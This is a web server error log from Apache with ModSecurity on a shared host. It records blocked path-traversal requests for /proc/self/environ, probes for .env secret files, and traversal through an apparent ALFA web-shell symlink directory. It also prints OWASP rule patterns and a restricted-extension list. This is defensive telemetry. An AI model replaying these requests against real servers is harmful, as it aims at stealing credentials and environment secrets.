[Mon Oct 26 02:28:18.145257 2026] [security2:error] [pid 2982084:tid 2982084] [client 34.67.42.132:40708] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAjDO8MpTZE2iHS58PAAAAAk"]
[Mon Oct 26 02:28:18.181363 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 100.27.153.9:20993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:18.292428 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40796] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zAn9jXGqHxPWOUzy_gwAAAAM"]
[Mon Oct 26 02:28:18.292499 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zAn9jXGqHxPWOUzy_gwAAAAM"]
[Mon Oct 26 02:28:18.292568 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zAn9jXGqHxPWOUzy_gwAAAAM"]
[Mon Oct 26 02:28:18.293067 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at7zAn9jXGqHxPWOUzy_gwAAAAM"]
[Mon Oct 26 02:28:18.293851 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAn9jXGqHxPWOUzy_gwAAAAM"]
[Mon Oct 26 02:28:18.345668 2026] [security2:error] [pid 2974954:tid 2974954] [client 34.67.42.132:40820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7zAuPdqEmNX1cUUB8h7QAAAAI"]
[Mon Oct 26 02:28:18.346167 2026] [security2:error] [pid 2974954:tid 2974954] [client 34.67.42.132:40820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7zAuPdqEmNX1cUUB8h7QAAAAI"]
[Mon Oct 26 02:28:18.346950 2026] [security2:error] [pid 2974954:tid 2974954] [client 34.67.42.132:40820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAuPdqEmNX1cUUB8h7QAAAAI"]
[Mon Oct 26 02:28:18.385267 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zAlKAT3mNfkVB4iyiEAAAABU"]
[Mon Oct 26 02:28:18.407858 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zAlKAT3mNfkVB4iyiEAAAABU"]
[Mon Oct 26 02:28:18.408731 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAlKAT3mNfkVB4iyiEAAAABU"]
[Mon Oct 26 02:28:26.204541 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 54.144.185.255:42534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:30.244173 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 3.211.105.134:44463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:34.291345 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 44.223.116.149:53186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:42.155864 2026] [core:error] [pid 2974947:tid 2974947] (13)Permission denied: [client 3.218.103.254:10702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory2/subsystem/uevent
[Mon Oct 26 02:28:46.201015 2026] [ssl:error] [pid 2982383:tid 2982383] (70014)End of file found: [client 3.216.86.144:64336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:48.926479 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 185.191.171.17:56066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/shrink
[Mon Oct 26 02:28:50.058203 2026] [core:error] [pid 2984263:tid 2984263] (13)Permission denied: [client 85.208.96.200:15346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/cpu_slabs
[Mon Oct 26 02:29:06.129415 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 34.230.124.21:35244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:29:10.266393 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 50.16.216.166:7450] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:29:18.278420 2026] [core:error] [pid 2984263:tid 2984263] (13)Permission denied: [client 44.223.115.10:59626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/cpu1/crash_notes_size
[Mon Oct 26 02:29:22.272936 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 100.25.120.246:54915] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:29:30.134251 2026] [security2:error] [pid 2984263:tid 2984263] [client 34.194.226.74:49500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/event3/device/mouse1/device/"] [unique_id "at7zSm8Wy8nVXaqh4LMfpQAAAAw"]
[Mon Oct 26 02:29:30.134300 2026] [security2:error] [pid 2984263:tid 2984263] [client 34.194.226.74:49500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/event3/device/mouse1/device/"] [unique_id "at7zSm8Wy8nVXaqh4LMfpQAAAAw"]
[Mon Oct 26 02:30:02.165454 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 18.208.11.93:11891] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:30:06.265550 2026] [security2:error] [pid 2982383:tid 2982383] [client 44.212.131.50:26792] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:03/power/"] [unique_id "at7zblKAT3mNfkVB4iyiFgAAABU"]
[Mon Oct 26 02:30:06.265627 2026] [security2:error] [pid 2982383:tid 2982383] [client 44.212.131.50:26792] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:03/power/"] [unique_id "at7zblKAT3mNfkVB4iyiFgAAABU"]
[Mon Oct 26 02:30:08.204749 2026] [core:error] [pid 2978293:tid 2978293] (13)Permission denied: [client 85.208.96.195:47844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/free_calls
[Mon Oct 26 02:30:11.758181 2026] [core:error] [pid 2984316:tid 2984316] (13)Permission denied: [client 216.244.66.250:53870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/ld.bfd
[Mon Oct 26 02:30:18.163813 2026] [ssl:error] [pid 2984260:tid 2984260] (70014)End of file found: [client 3.223.181.32:59096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:30:37.833846 2026] [security2:error] [pid 2978303:tid 2978303] [client 107.172.76.131:51688] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7zgJMnyYq70WIUET3sIQAAABc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:30:37.833949 2026] [security2:error] [pid 2978303:tid 2978303] [client 107.172.76.131:51688] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7zgJMnyYq70WIUET3sIQAAABc"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:30:38.155765 2026] [ssl:error] [pid 2984260:tid 2984260] (70014)End of file found: [client 34.235.239.240:63470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:30:42.182089 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 52.45.15.233:28324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:30:46.199166 2026] [ssl:error] [pid 2982383:tid 2982383] (70014)End of file found: [client 3.220.148.166:14225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:30:54.139059 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.145.82.217:2185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:30:55.484749 2026] [core:error] [pid 2984316:tid 2984316] (13)Permission denied: [client 185.191.171.14:46760] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/total_objects
[Mon Oct 26 02:30:58.145570 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 3.94.40.182:55683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:31:02.259091 2026] [ssl:error] [pid 2978298:tid 2978298] (70014)End of file found: [client 35.171.117.160:61165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:31:07.320790 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:45986] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at7zq6flAYQKhf1b3nSADQAAAAA"]
[Mon Oct 26 02:31:07.321198 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:45986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at7zq6flAYQKhf1b3nSADQAAAAA"]
[Mon Oct 26 02:31:07.322146 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:45986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zq6flAYQKhf1b3nSADQAAAAA"]
[Mon Oct 26 02:31:08.320662 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43372] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7zrCmvL3FYV1A8W3js5AAAAA0"]
[Mon Oct 26 02:31:08.321058 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7zrCmvL3FYV1A8W3js5AAAAA0"]
[Mon Oct 26 02:31:08.321886 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrCmvL3FYV1A8W3js5AAAAA0"]
[Mon Oct 26 02:31:08.510158 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:43366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at7zrEWLg2gbRhOJIF010gAAABE"]
[Mon Oct 26 02:31:08.510413 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:43366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at7zrEWLg2gbRhOJIF010gAAABE"]
[Mon Oct 26 02:31:08.519270 2026] [security2:error] [pid 2978298:tid 2978298] [client 34.153.219.8:43366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrEWLg2gbRhOJIF010gAAABE"]
[Mon Oct 26 02:31:08.534402 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43388] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at7zrKy4l0fHhEjHUwfK8AAAAAo"]
[Mon Oct 26 02:31:08.534625 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43388] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at7zrKy4l0fHhEjHUwfK8AAAAAo"]
[Mon Oct 26 02:31:08.535598 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43388] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrKy4l0fHhEjHUwfK8AAAAAo"]
[Mon Oct 26 02:31:08.818976 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43390] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at7zrG71mB7d7Sol4w_K_wAAAA4"]
[Mon Oct 26 02:31:08.819181 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43390] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at7zrG71mB7d7Sol4w_K_wAAAA4"]
[Mon Oct 26 02:31:08.819915 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43390] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrG71mB7d7Sol4w_K_wAAAA4"]
